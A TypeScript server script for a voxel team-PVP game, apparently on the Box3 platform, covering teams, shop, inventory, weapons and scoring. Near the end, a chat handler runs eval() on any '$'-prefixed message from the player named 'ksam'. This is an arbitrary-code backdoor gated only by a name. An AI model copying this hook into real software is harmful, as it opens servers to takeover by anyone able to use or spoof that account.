console.clear();
world.addCollisionFilter('player', 'player');
const Storage = storage.getGroupStorage('PlayerData');
const teamPlayerNumber = {
  红: 0,
  黄: 0,
  蓝: 0,
  绿: 0,
};
world.querySelectorAll('*').forEach((x) => {
  if (x.id.endsWith('队出生点-1')) {
    x.score = 0;
  }
});
function g3(x: number, y: number, z: number) {
  return new GameVector3(x, y, z);
}
const voxelDigTime = {
  177: 800,
  135: 1500,
  121: 5000,
  309: 2500,
};
const weaponOffset = {
  木剑: g3(0, 0.2, 0.4),
  石剑: g3(0, 0.2, 0.4),
  铁剑: g3(0, 0.2, 0.4),
  钻石剑: g3(0, 0.2, 0.4),
  下界合金剑: g3(0, 0.2, 0.4),
  金剑: g3(0, 0.2, 0.4),
  羊毛: g3(0, 0, 0.2),
  木板: g3(0, 0, 0.2),
  砂岩: g3(0, 0, 0.2),
  末地石: g3(0, 0, 0.3),
  火焰弹: g3(0, 0, 0.3),
  金苹果: g3(0, 0, 0.35),
  治疗药水: g3(0, 0, 0.35),
  末影珍珠: g3(0, 0, 0.35),
  '弓箭-1': g3(0, 0, 0), //上传这个的时候名字写错了
  箭: g3(0, 0, 0.35),
  铁盔甲: g3(0, 0, 0),
  钻石盔甲: g3(0, 0, 0),
  下界合金盔甲: g3(0, 0, 0),
};
const value = {
  木剑: 0,
  石剑: 25,
  铁剑: 50,
  钻石剑: 100,
  下界合金剑: 125,
  金剑: 175,
  羊毛: 5,
  木板: 10,
  砂岩: 15,
  末地石: 25,
  火焰弹: 100,
  金苹果: 150,
  治疗药水: 250,
  末影珍珠: 150,
  '弓箭-1': 200, //上传这个的时候名字写错了
  箭: 20,
  铁盔甲: 100,
  钻石盔甲: 150,
  下界合金盔甲: 200,
};
const highestNumber = {
  木剑: 1,
  石剑: 1,
  铁剑: 1,
  钻石剑: 1,
  下界合金剑: 1,
  金剑: 1,
  羊毛: 64,
  木板: 64,
  砂岩: 64,
  末地石: 64,
  火焰弹: 64,
  金苹果: 64,
  治疗药水: 1,
  末影珍珠: 16,
  '弓箭-1': 1, //上传这个的时候名字写错了
  箭: 64,
  铁盔甲: 1,
  钻石盔甲: 1,
  下界合金盔甲: 1,
};
const allItem: string[] = [];
for (const valueEach in value) {
  allItem.push(valueEach);
}
function getHurtValue(number: number, defense: number) {
  const hurtnumber = number - defense;
  if (hurtnumber > 0) {
    return hurtnumber;
  } else {
    return 1;
  }
}
class wearWeapon {
  entity: GameEntity;
  weapon: string;
  constructor(entity: GameEntity, weapon: string) {
    this.entity = entity;
    this.weapon = weapon;
  }
  wear(part: GameBodyPart, offset: GameVector3, size: GameVector3) {
    this.entity.player?.addWearable({
      bodyPart: part,
      mesh: `mesh/${this.weapon}.vb` as GameModelAssets,
      scale: size,
      offset: offset,
    });
  }
  remove(part: GameBodyPart) {
    const allweapon = this.entity.player?.wearables(part);
    allweapon?.forEach((x) => {
      this.entity.player?.removeWearable(x);
    });
  }
}
class bagPush {
  bag: Array<Array<string>>;
  ok: boolean;
  constructor(bag: Array<Array<string>>) {
    this.bag = bag;
    this.ok = false;
  }
  pushItem(value: string, number: number) {
    const addvalue = value;
    let addnumber = number;
    this.bag[3].forEach((x) => {
      if (this.ok) {
        return;
      }
      if (
        x === '' ||
        x.startsWith(addvalue) ||
        !allItem.includes(x.split('*')[0])
      ) {
        let startNumber = Number(
          this.bag[3][this.bag[3].indexOf(x)].split('*')[1]
        );
        if (!startNumber) {
          startNumber = 0;
        }
        if (
          startNumber + Number(addnumber) >
          highestNumber[addvalue as keyof typeof highestNumber]
        ) {
          this.bag[3][this.bag[3].indexOf(x)] =
            `${addvalue}*${highestNumber[addvalue as keyof typeof highestNumber]}`;
          addnumber =
            startNumber +
            addnumber -
            highestNumber[addvalue as keyof typeof highestNumber];
          return;
        }
        this.bag[3][this.bag[3].indexOf(x)] =
          `${addvalue}*${startNumber + Number(addnumber)}`;
        this.ok = true;
      }
    });
    if (this.ok) {
      return;
    }
    this.bag.forEach((x) => {
      if (this.ok) {
        return;
      }
      x.forEach((y) => {
        if (this.ok) {
          return;
        }
        if (
          y === '' ||
          y.startsWith(addvalue) ||
          !allItem.includes(y.split('*')[0])
        ) {
          let startNumber = Number(
            this.bag[this.bag.indexOf(x)][
              this.bag[this.bag.indexOf(x)].indexOf(y)
            ].split('*')[1]
          );
          if (!startNumber) {
            startNumber = 0;
          }
          if (
            startNumber + Number(addnumber) >
            highestNumber[addvalue as keyof typeof highestNumber]
          ) {
            this.bag[this.bag.indexOf(x)][
              this.bag[this.bag.indexOf(x)].indexOf(y)
            ] =
              `${addvalue}*${highestNumber[addvalue as keyof typeof highestNumber]}`;
            addnumber =
              startNumber +
              addnumber -
              highestNumber[addvalue as keyof typeof highestNumber];
            return;
          }
          this.bag[this.bag.indexOf(x)][
            this.bag[this.bag.indexOf(x)].indexOf(y)
          ] = `${addvalue}*${Number(addnumber) + startNumber}`;
          this.ok = true;
        }
      });
    });
  }
  subItem(entity: GameEntity) {
    entity.bag[3][entity.choseIndex] =
      `${entity.bag[3][entity.choseIndex].split('*')[0]}*${String(Number(entity.bag[3][entity.choseIndex].split('*')[1]) - 1)}`;
    if (!Number(this.bag[3][entity.choseIndex].split('*')[1])) {
      entity.bag[3][entity.choseIndex] = '*0';
      entity.useWeapon = '';
      new wearWeapon(entity, '').remove(GameBodyPart.RIGHT_HAND);
    }
  }
  moveItem(xindex1: number, yindex1: number, xindex: number, yindex: number) {
    const startNumber = Number(this.bag[xindex][yindex].split('*')[1]);
    const startValue = this.bag[xindex][yindex].split('*')[0];
    const endValue = this.bag[xindex1][yindex1].split('*')[0];
    const endNumber = Number(this.bag[xindex1][yindex1].split('*')[1]);
    if (startValue === endValue) {
      if (
        startNumber + endNumber >
        highestNumber[startValue as keyof typeof highestNumber]
      ) {
        this.bag[xindex][yindex] =
          `${startValue}*${startNumber + endNumber - highestNumber[startValue as keyof typeof highestNumber]}`;
        this.bag[xindex1][yindex1] =
          `${startValue}*${highestNumber[startValue as keyof typeof highestNumber]}`;
      } else {
        this.bag[xindex1][yindex1] = `${startValue}*${startNumber + endNumber}`;
      }
    } else {
      if (isNaN(startNumber)) {
        this.bag[xindex1][yindex1] = '';
      }
      if (isNaN(endNumber)) {
        this.bag[xindex][yindex] = '';
      }
      this.bag[xindex1][yindex1] = `${startValue}*${startNumber}`;
      this.bag[xindex][yindex] = `${endValue}*${endNumber}`;
    }
  }
}
class interact {
  entity: GameEntity;
  constructor(entity: GameEntity) {
    this.entity = entity;
  }
  interact() {
    this.entity.enableInteract = true;
    this.entity.interactRadius = 5;
    this.entity.interactHint = '按E进行互动';
  }
}
class PlayerRespawn {
  entity: GameEntity;
  constructor(entity: GameEntity) {
    this.entity = entity;
  }
  async respawn(death: boolean) {
    if (death) {
      let respawnNumber = 5;
      while (respawnNumber) {
        this.entity.player?.directMessage(`你死了,${respawnNumber}秒后复活`);
        respawnNumber--;
        await sleep(1000);
      }
    } else {
      this.entity.player?.directMessage('欢迎来到PVP大乱斗');
    }
    if (!this.entity.team) {
      let allTeamNumber = [];
      for (const i in teamPlayerNumber) {
        allTeamNumber.push([
          i,
          teamPlayerNumber[i as keyof typeof teamPlayerNumber],
        ]);
      }
      allTeamNumber = allTeamNumber.sort((a, b) => Number(a[1]) - Number(b[1]));
      while (this.entity.team === undefined) {
        this.entity.team = String(allTeamNumber[0][0]);
      }
      this.entity.addTag(this.entity.team);
      teamPlayerNumber[this.entity.team as keyof typeof teamPlayerNumber]++;
    }
    this.entity.hp = this.entity.maxHp;
    this.entity.bag = [
      ['*0', '*0', '*0', '*0', '*0', '*0', '*0', '*0', '*0'],
      ['*0', '*0', '*0', '*0', '*0', '*0', '*0', '*0', '*0'],
      ['*0', '*0', '*0', '*0', '*0', '*0', '*0', '*0', '*0'],
      ['木剑*1', '*0', '*0', '*0', '*0', '*0', '*0', '*0', '*0'],
    ];
    this.entity.useWeapon = '*0';
    new wearWeapon(this.entity, '').remove(GameBodyPart.RIGHT_HAND);
    remoteChannel.sendClientEvent(this.entity as GamePlayerEntity, {
      type: '快捷栏',
      data: this.entity.bag[3],
    });
    remoteChannel.sendClientEvent(this.entity as GamePlayerEntity, {
      type: '生命',
      data: this.entity.hp,
    });
    const spawnPosition = world.querySelector(
      `#${this.entity.team}队出生点-1`
    )?.position;
    this.entity.position.copy(
      spawnPosition?.add(g3(0, 2, 0)) ?? new GameVector3(128, 62, 128)
    );
    this.entity.addTag('无敌');
    setTimeout(() => {
      this.entity.removeTag('无敌');
      this.entity.player?.directMessage('无敌时间结束');
      this.entity.enableDamage = true;
    }, 5000);
  }
}
world.onVoxelContact(async (event) => {
  if (voxels.name(event.voxel).endsWith('_light')) {
    event.entity.onVoxel = true;
  }
});
world.onVoxelSeparate(async (event) => {
  if (voxels.name(event.voxel).endsWith('_light')) {
    event.entity.onVoxel = false;
  }
});
world.onPlayerJoin(async (event) => {
  const { entity } = event;
  entity.player.enableDoubleJump = false;
  entity.player.jumpPower = 0.6;
  entity.player.walkSpeed = entity.player.runSpeed = 0.3;
  entity.player.scale = 0.7;
  entity.defense = 2;
  entity.player.spectator = true;
  entity.player.invisible = true;
  entity.player.showName = false;
  entity.coin = 0;
  entity.firstIndex = [];
  entity.secondIndex = [];
  entity.exp = 0;
  entity.hp = 20;
  entity.maxHp = 20;
  entity.defense = 0;
  entity.attack = 1;
  entity.useWeapon = '木剑*1';
  entity.button = {
    ac0: false,
    ac1: false,
  };
  entity.bag = [
    ['*0', '*0', '*0', '*0', '*0', '*0', '*0', '*0', '*0'],
    ['*0', '*0', '*0', '*0', '*0', '*0', '*0', '*0', '*0'],
    ['*0', '*0', '*0', '*0', '*0', '*0', '*0', '*0', '*0'],
    ['木剑*1', '*0', '*0', '*0', '*0', '*0', '*0', '*0', '*0'],
  ];
  remoteChannel.sendClientEvent(entity, {
    type: '初始化生命',
  });
  remoteChannel.sendClientEvent(entity, {
    type: '快捷栏',
    data: entity.bag[3],
  });
  await sleep(100);
  entity.enableDamage = true;
  setInterval(() => {
    if (entity.onVoxel) {
      event.entity.coin++;
    }
    remoteChannel.sendClientEvent(entity, {
      type: 'coin',
      data: entity.coin,
    });
  }, 175);
  entity.player.onKeyDown(async (event) => {
    console.log(event.keyCode);
    if (event.keyCode === 66) {
      remoteChannel.sendClientEvent(entity as GamePlayerEntity, {
        type: '关闭UI',
        data: entity.bag,
      });
    }
    if (event.keyCode < 58 && event.keyCode > 48) {
      entity.useWeapon = entity.bag[3][event.keyCode - 49];
      entity.choseIndex = event.keyCode - 49;
      if (entity.useWeapon.split('*')[0]) {
        entity.player?.directMessage(`你选择了${entity.useWeapon}`);
        const wear = new wearWeapon(entity, entity.useWeapon.split('*')[0]);
        wear.remove(GameBodyPart.RIGHT_HAND);
        wear.wear(
          GameBodyPart.RIGHT_HAND,
          weaponOffset[
            entity.useWeapon.split('*')[0] as keyof typeof weaponOffset
          ],
          new GameVector3(0.5, 0.5, 0.5)
        );
        if (entity.useWeapon.split('*')[0].endsWith('剑')) {
          switch (entity.useWeapon.split('*')[0]) {
            case '木剑':
              entity.attack = 3;
              break;
            case '石剑':
              entity.attack = 4;
              break;
            case '铁剑':
              entity.attack = 6;
              break;
            case '钻石剑':
              entity.attack = 7;
              break;
            case '下界合金剑':
              entity.attack = 9;
              break;
            case '金剑':
              entity.attack = 12;
              break;
          }
        } else {
          entity.attack = 1;
        }
      }
    }
  });
});
const teamtags: string[] = ['红', '蓝', '绿', '黄'];
world.querySelectorAll('*').forEach((x) => {
  if (x.id.startsWith('dream')) {
    new interact(x).interact();
    x.onInteract(async (event) => {
      const { entity } = event;
      if (entity.player.spectator) {
        return;
      }
      remoteChannel.sendClientEvent(entity as GamePlayerEntity, {
        type: 'market',
      });
    });
  }
});
remoteChannel.onServerEvent(async (event) => {
  const entity = event.entity as GameEntity,
    { args } = event;
  const { type } = args,
    { data } = args;
  if (type === '购买') {
    const buyThing = data.split('*')[0] as string;
    if (entity.coin >= value[data.split('*')[0] as keyof typeof value]) {
      entity.player?.directMessage(`您购买了${data}`);
      if (buyThing.endsWith('盔甲')) {
        new wearWeapon(entity, `${buyThing.split('盔甲')[0]}头盔`).remove(
          GameBodyPart.HEAD
        );
        new wearWeapon(entity, `${buyThing.split('盔甲')[0]}头盔`).remove(
          GameBodyPart.NECK
        );
        new wearWeapon(entity, `${buyThing.split('盔甲')[0]}头盔`).remove(
          GameBodyPart.LEFT_FOOT
        );
        new wearWeapon(entity, `${buyThing.split('盔甲')[0]}头盔`).remove(
          GameBodyPart.RIGHT_FOOT
        );
        new wearWeapon(entity, `${buyThing.split('盔甲')[0]}头盔`).wear(
          GameBodyPart.HEAD,
          new GameVector3(0, 0.35, 0),
          new GameVector3(1, 1, 1)
        );
        new wearWeapon(entity, `${buyThing.split('盔甲')[0]}胸甲`).wear(
          GameBodyPart.HEAD,
          new GameVector3(0, -0.4, 0),
          new GameVector3(0.75, 1.1, 0.85)
        );
        new wearWeapon(entity, `${buyThing.split('盔甲')[0]}护腿`).wear(
          GameBodyPart.LEFT_FOOT,
          new GameVector3(0, 0, 0),
          new GameVector3(0.85, 0.85, 0.85)
        );
        new wearWeapon(entity, `${buyThing.split('盔甲')[0]}护腿`).wear(
          GameBodyPart.RIGHT_FOOT,
          new GameVector3(0, 0, 0),
          new GameVector3(0.85, 0.85, 0.85)
        );
        entity.buyError = false;
        switch (buyThing) {
          case '铁盔甲':
            if (entity.defense >= 8) {
              entity.player?.directMessage('请购买更高等级的装备');
              entity.buyError = true;
              return;
            }
            entity.defense = 8;
            break;
          case '钻石盔甲':
            if (entity.defense >= 9) {
              entity.player?.directMessage('请购买更高等级的装备');
              entity.buyError = true;
              return;
            }
            entity.defense = 9;
            break;
          case '下界合金盔甲':
            if (entity.defense >= 10) {
              entity.player?.directMessage('请购买更高等级的装备');
              entity.buyError = true;
              return;
            }
            entity.defense = 10;
            break;
        }
        if (entity.buyError) {
          return;
        }
        entity.coin -= value[data.split('*')[0] as keyof typeof value];
        return;
      }
      const bagAPI = new bagPush(entity.bag);
      bagAPI.pushItem(data.split('*')[0], Number(data.split('*')[1]));
      entity.coin -= value[data.split('*')[0] as keyof typeof value];
      remoteChannel.sendClientEvent(entity as GamePlayerEntity, {
        type: '快捷栏',
        data: entity.bag[3],
      });
    } else {
      entity.player?.directMessage('购买失败');
    }
  }
  if (type === '打开背包') {
    remoteChannel.sendClientEvent(entity as GamePlayerEntity, {
      type: '玩家背包',
      data: entity.bag,
    });
  }
  if (type === '选择物品') {
    if (!entity.firstIndex.length) {
      entity.firstIndex = [data[0] - 1, data[1] - 1];
      return;
    }
    entity.secondIndex = [data[0] - 1, data[1] - 1];
    const bagAPI = new bagPush(entity.bag);
    bagAPI.moveItem(
      entity.secondIndex[0],
      entity.secondIndex[1],
      entity.firstIndex[0],
      entity.firstIndex[1]
    );
    entity.firstIndex = [];
    entity.secondIndex = [];
    remoteChannel.sendClientEvent(entity as GamePlayerEntity, {
      type: '玩家背包',
      data: entity.bag,
    });
    remoteChannel.sendClientEvent(entity as GamePlayerEntity, {
      type: '快捷栏',
      data: entity.bag[3],
    });
  }
  if (type === '快捷选择') {
    entity.useWeapon = entity.bag[3][data];
    entity.choseIndex = data;
    if (entity.useWeapon.split('*')[0]) {
      entity.player?.directMessage(`你选择了${entity.useWeapon}`);
      const wear = new wearWeapon(entity, entity.useWeapon.split('*')[0]);
      wear.remove(GameBodyPart.RIGHT_HAND);
      wear.wear(
        GameBodyPart.RIGHT_HAND,
        weaponOffset[
          entity.useWeapon.split('*')[0] as keyof typeof weaponOffset
        ],
        new GameVector3(0.5, 0.5, 0.5)
      );
      if (entity.useWeapon.split('*')[0].endsWith('剑')) {
        switch (entity.useWeapon.split('*')[0]) {
          case '木剑':
            entity.attack = 3;
            break;
          case '石剑':
            entity.attack = 4;
            break;
          case '铁剑':
            entity.attack = 6;
            break;
          case '钻石剑':
            entity.attack = 7;
            break;
          case '下界合金剑':
            entity.attack = 9;
            break;
          case '金剑':
            entity.attack = 12;
            break;
        }
      } else {
        entity.attack = 1;
      }
    }
  }
  if (type === '选择操作') {
    let options = ['查看 游戏指南(新手快速入门)', '加入游戏', '查看队伍积分'];
    if (!entity.player?.spectator) {
      options = ['查看 游戏指南(新手快速入门)', '查看队伍积分'];
    }
    const sel1 = await entity.player?.dialog<GameSelectDialogParams>({
      type: GameDialogType.SELECT,
      title: '选择操作',
      content: '请选择你要执行的操作',
      options,
    });
    if (sel1) {
      switch (sel1?.value) {
        case '查看 游戏指南(新手快速入门)':
          await entity.player?.dialog<GameTextDialogParams>({
            type: GameDialogType.TEXT,
            title: '操作指南',
            content: '操作指南',
          });
          await entity.player?.dialog<GameTextDialogParams>({
            type: GameDialogType.TEXT,
            title: '操作指南',
            content:
              '欢迎来到PVP大乱斗！这是作者使用AP创作的一款休闲竞技类作品',
          });
          await entity.player?.dialog<GameTextDialogParams>({
            type: GameDialogType.TEXT,
            title: '操作指南',
            content: '请点击左上角的“草方块”图标以加入游戏',
          });
          await entity.player?.dialog<GameTextDialogParams>({
            type: GameDialogType.TEXT,
            title: '操作指南',
            content:
              '加入游戏后，你会随机分派到 红、黄、蓝、绿 四个队伍，你要做的就是击杀其他阵营的玩家，给自己的队伍获取积分。第一个达到25分的队伍获胜。',
          });
          await entity.player?.dialog<GameTextDialogParams>({
            type: GameDialogType.TEXT,
            title: '操作指南',
            content:
              '出生点旁边有一个“dream”，他是MC一位出名的玩家。你可以和他互动交易物资，如各种方块，武器，盔甲，道具......',
          });
          await entity.player?.dialog<GameTextDialogParams>({
            type: GameDialogType.TEXT,
            title: '操作指南',
            content:
              '购买的物品可在左上角的箱子图标里查看，点击一个格子并再次点击另一个可以交换两个物品的位置。背包最下面一行是快捷栏，里面的物品会在最低部的长条形方框里显示。',
          });
          await entity.player?.dialog<GameTextDialogParams>({
            type: GameDialogType.TEXT,
            title: '操作指南',
            content: '同时，左上角的箱子图标还可以关闭背包，关闭交易界面。',
          });
          await entity.player?.dialog<GameTextDialogParams>({
            type: GameDialogType.TEXT,
            title: '操作指南',
            content:
              '想使用物品，请在快捷栏点击一个那个物品。如果使用剑，请对准敌人点击以造成伤害，如果使用火焰弹，弓箭或者方块，道具，请在选中后右键点击使用。',
          });
          await entity.player?.dialog<GameTextDialogParams>({
            type: GameDialogType.TEXT,
            title: '操作指南',
            content: '这就是指南的全部内容了，祝您游玩愉快！',
          });
          break;
        case '加入游戏':
          new PlayerRespawn(entity).respawn(false);
          const Player = entity.player as GamePlayer;
          Player.invisible = false;
          Player.showName = true;
          entity.hp = entity.maxHp;
          remoteChannel.sendClientEvent(entity as GamePlayerEntity, {
            type: '生命',
            data: entity.hp,
          });
          Player.spectator = false;
          break;
        case '查看队伍积分':
          let content = '';
          world.querySelectorAll('*').forEach((x) => {
            if (x.id.endsWith('队出生点-1')) {
              content =
                content +
                `${x.id.slice(0, 2)}: ${x.score},
`;
            }
          });
          await entity.player?.dialog<GameTextDialogParams>({
            type: GameDialogType.TEXT,
            title: '积分',
            content,
          });
          break;
      }
    }
  }
});
world.onTakeDamage((event) => {
  const entity = event.entity as GamePlayerEntity;
  remoteChannel.sendClientEvent(entity, {
    type: '生命',
    data: entity.hp,
  });
});
world.onPress(async (event) => {
  const entity = event.entity as GameEntity;
  const direction = event.raycast.direction.clone();
  const { hitEntity } = event.raycast;
  const { voxelIndex } = event.raycast;
  const { button } = event;
  const axis = event.raycast.normal;
  const dist = Math.sqrt(direction.x ** 2 + direction.z ** 2);
  const rotX = Math.atan2(direction.y, dist);
  if (event.button === GameButtonType.ACTION0) {
    event.entity.button.ac0 = true;
  }
  if (event.button === GameButtonType.ACTION1) {
    event.entity.button.ac1 = true;
  }
  const orientation = new GameQuaternion(0, 0, 0, 1)
    .rotateY(Math.PI / 2)
    .rotateX(rotX)
    .rotateY(Math.atan2(direction.z, direction.x));
  if (button === GameButtonType.ACTION0) {
    if (hitEntity) {
      if (hitEntity.player) {
        if (hitEntity.team === entity.team) {
          return;
        }
        if (event.raycast.distance > 10) {
          return;
        }
        hitEntity.velocity.copy(direction.scale(2));
        hitEntity.lastAttackPlayer = entity;
        hitEntity.hurt(getHurtValue(entity.attack, hitEntity.defense));
      }
    } else if (voxelIndex) {
      let needNumber =
        voxelDigTime[event.raycast.hitVoxel as keyof typeof voxelDigTime];
      const startnumber = needNumber;
      if (needNumber) {
        while (needNumber) {
          await sleep(1);
          needNumber--;
          entity.player?.directMessage(`${needNumber}/${startnumber}`);
          if (!entity.button.ac0) {
            break;
          }
        }
        if (!entity.button.ac0) {
          return;
        }
        voxels.setVoxel(voxelIndex.x, voxelIndex.y, voxelIndex.z, 0);
      } else {
        entity.player?.directMessage('该方块不可挖掘');
      }
    }
  }
  if (button === GameButtonType.ACTION1) {
    switch (entity.useWeapon.split('*')[0]) {
      case '火焰弹':
        const a = world.createEntity({
          mesh: 'mesh/火焰弹.vb',
          position: entity.position,
          velocity: direction.scale(3),
          meshScale: new GameVector3(0.05, 0.05, 0.05),
          collides: true,
          gravity: false,
          tags: ['火焰弹'],
        });
        world.addCollisionFilter('.火焰弹', '*');
        new bagPush(entity.bag).subItem(entity);
        remoteChannel.sendClientEvent(entity as GamePlayerEntity, {
          type: '快捷栏',
          data: entity.bag[3],
        });
        Object.assign(a, {
          owner: entity,
        });
        break;
      case '羊毛':
        const position = voxelIndex.add(axis);
        if (position.distance(entity.position) > 10) {
          return;
        }
        console.log(voxelIndex);
        if (
          world
            .querySelectorAll('player')
            .filter((x) => x.position.distance(position) < 1.3).length
        ) {
          return;
        }
        voxels.setVoxel(position.x, position.y, position.z, 'white');
        new bagPush(entity.bag).subItem(entity);
        remoteChannel.sendClientEvent(entity as GamePlayerEntity, {
          type: '快捷栏',
          data: entity.bag[3],
        });
        break;
      case '末地石':
        const position1 = voxelIndex.add(axis);
        if (position1.distance(entity.position) > 10) {
          return;
        }
        console.log(voxelIndex);
        if (
          world
            .querySelectorAll('player')
            .filter((x) => x.position.distance(position1) < 1.3).length
        ) {
          return;
        }
        voxels.setVoxel(position1.x, position1.y, position1.z, 'lemon');
        new bagPush(entity.bag).subItem(entity);
        remoteChannel.sendClientEvent(entity as GamePlayerEntity, {
          type: '快捷栏',
          data: entity.bag[3],
        });
        break;
      case '木板':
        const position2 = voxelIndex.add(axis);
        if (position2.distance(entity.position) > 10) {
          return;
        }
        console.log(voxelIndex);
        if (
          world
            .querySelectorAll('player')
            .filter((x) => x.position.distance(position2) < 1.3).length
        ) {
          return;
        }
        voxels.setVoxel(position2.x, position2.y, position2.z, 'board_03');
        new bagPush(entity.bag).subItem(entity);
        remoteChannel.sendClientEvent(entity as GamePlayerEntity, {
          type: '快捷栏',
          data: entity.bag[3],
        });
        break;
      case '砂岩':
        const position3 = voxelIndex.add(axis);
        if (position3.distance(entity.position) > 10) {
          return;
        }
        console.log(voxelIndex);
        if (
          world
            .querySelectorAll('player')
            .filter((x) => x.position.distance(position3) < 1.3).length
        ) {
          return;
        }
        voxels.setVoxel(position3.x, position3.y, position3.z, 'sand');
        new bagPush(entity.bag).subItem(entity);
        remoteChannel.sendClientEvent(entity as GamePlayerEntity, {
          type: '快捷栏',
          data: entity.bag[3],
        });
        break;
      case '末影珍珠':
        const b = world.createEntity({
          mesh: 'mesh/末影珍珠实体.vb' as GameModelAssets,
          meshScale: new GameVector3(0.03, 0.03, 0.03),
          position: entity.position,
          collides: true,
          gravity: true,
          velocity: direction.scale(3),
          tags: ['末影珍珠'],
          meshOrientation: orientation,
        });
        world.addCollisionFilter('.末影珍珠', '*');
        Object.assign(b, {
          particleLimit: 100,
          particleLifetime: 1000,
          particleColor: [new GameRGBColor(0.4, 0.0, 1.0)],
          particleSize: [3],
          particleRate: 20,
        });
        new bagPush(entity.bag).subItem(entity);
        remoteChannel.sendClientEvent(entity as GamePlayerEntity, {
          type: '快捷栏',
          data: entity.bag[3],
        });
        b?.onVoxelContact(async () => {
          entity.position.copy(b.position.add(new GameVector3(0, 3, 0)));
          b.destroy();
        });
        break;
      case '弓箭-1':
        let haveArrow = false;
        let xIndex = 0;
        entity.bag.forEach((x) => {
          xIndex++;
          let yIndex = 0;
          x.forEach((y) => {
            yIndex++;
            if (y.startsWith('箭')) {
              if (String(Number(y.split('*')[1]) - 1) === '0') {
                entity.bag[xIndex - 1][yIndex - 1] = `*0`;
                remoteChannel.sendClientEvent(entity as GamePlayerEntity, {
                  type: '快捷栏',
                  data: entity.bag[3],
                });
                return;
              }
              entity.bag[xIndex - 1][yIndex - 1] =
                `箭*${String(Number(y.split('*')[1]) - 1)}`;
              remoteChannel.sendClientEvent(entity as GamePlayerEntity, {
                type: '快捷栏',
                data: entity.bag[3],
              });
              haveArrow = true;
            }
          });
        });
        if (haveArrow) {
          let number = 0;
          const entityPlayer = entity as GamePlayerEntity;
          while (entity.button.ac1) {
            if (number === 25) {
              break;
            }
            number++;
            entity.player?.directMessage(String(number));
            entityPlayer.player.cameraFovY += 0.002;
            await sleep(64);
          }
          entityPlayer.player.cameraFovY = 0.3;
          const b = world.createEntity({
            mesh: 'mesh/箭实体.vb' as GameModelAssets,
            meshScale: new GameVector3(0.03, 0.03, 0.03),
            position: entity.position,
            collides: true,
            gravity: true,
            tags: ['箭'],
            velocity: direction.scale(number / 5),
            meshOrientation: orientation,
          });
          const jian = b as GameEntity;
          Object.assign(b, {
            particleLimit: 100,
            particleLifetime: 1000,
            particleColor: [new GameRGBColor(1.0, 1.0, 1.0)],
            particleSize: [3],
            particleRate: 20,
            hashurt: [],
          });
          world.addCollisionFilter('.箭', '*');
          b?.onVoxelContact(async () => {
            b.destroy();
          });
          while (!b?.destroyed) {
            world
              .querySelectorAll('player')
              .filter((x) => x !== entity && x !== b)
              .filter((x) => x.position.distance(jian.position) < 1.4)
              .filter((x) => !b?.hashurt.includes(x))
              .forEach((x) => {
                if (x.team === entity.team) {
                  return;
                }
                entity.player?.directMessage(`命中了${x.id}`);
                x.lastAttackPlayer = entity;
                x.hurt(getHurtValue(10, x.defense));
                b?.hashurt.push(x);
                b?.destroy();
              });
            await sleep(64);
          }
        }
        break;
      case '治疗药水':
        entity.hp += 8;
        if (entity.hp > 20) {
          entity.hp = 20;
        }
        remoteChannel.sendClientEvent(entity as GamePlayerEntity, {
          type: '生命',
          data: entity.hp,
        });
        break;
    }
  }
});
world.onRelease((event) => {
  if (event.button === GameButtonType.ACTION0) {
    event.entity.button.ac0 = false;
  }
  if (event.button === GameButtonType.ACTION1) {
    event.entity.button.ac1 = false;
  }
});
world.onVoxelContact((event) => {
  const { entity } = event;
  if (entity.destroyed) {
    return;
  }
  if (entity.hasTag('火焰弹')) {
    entity.hashurt = [];
    const position = new GameVector3(
      entity.position.x,
      entity.position.y,
      entity.position.z
    );
    entity.destroy();
    world
      .querySelectorAll('player')
      .filter((x) => x.position.distance(position) < 8.66)
      .filter((x) => !entity.hashurt.includes(x))
      .forEach((x) => {
        entity.hashurt.push(x);
        x.lastAttackPlayer = entity.owner;
        x.hurt(getHurtValue(10, x.defense));
        x.velocity.copy(x.position.sub(position).scale(0.35));
        void entity.destroy();
      });
  }
});
world.onDie(async (event) => {
  const { entity } = event;
  entity.lastAttackPlayer.player?.directMessage(
    `你击杀了${entity.player?.name}，为团队增加了1点积分`
  );
  const addScoreTeam = world.querySelector(
    `#${entity.lastAttackPlayer.team}队出生点-1`
  ) as GameEntity;
  addScoreTeam.score++;
  world.say(
    `${entity.lastAttackPlayer.player?.name}为${entity.lastAttackPlayer.team}队争得了1分！当前${entity.lastAttackPlayer.team}队积分为${world.querySelector(`#${entity.lastAttackPlayer.team}队出生点-1`)?.score}`
  );
  if (addScoreTeam.score === 25) {
    world.say(`${entity.lastAttackPlayer.team}队胜利！`);
    world.querySelectorAll('player').forEach((x) => {
      x.position.set(128, 128, 128);
      x.player.spectator = true;
      x.player.showName = false;
      x.player.invisible = true;
    });
    world.querySelectorAll('*').forEach((x) => {
      if (x.id.endsWith('队出生点-1')) {
        x.score = 0;
      }
    });
    await sleep(10000);
    for (const x of world.querySelectorAll('player')) {
      new PlayerRespawn(x).respawn(false);
      await sleep(1);
    }
  }
  await new PlayerRespawn(entity).respawn(true);
});
world.onChat(async (event) => {
  const { entity } = event;
  if (event.entity.player?.name === 'ksam' && event.message.startsWith('$')) {
    try {
      event.entity.player.directMessage(eval(event.message.split('$')[1]));
    } catch (e) {
      event.entity.player.directMessage(e as string);
    }
  }
});
world.onPlayerPurchaseSuccess((event) => {
  if (event.productId === 383042896082058) {
    const entity = world
      .querySelectorAll('player')
      .find((x) => x.player.userId === event.userId);
    entity?.player.directMessage('购买成功');
    const object = entity as GameEntity;
    object.coin += 250;
  }
});
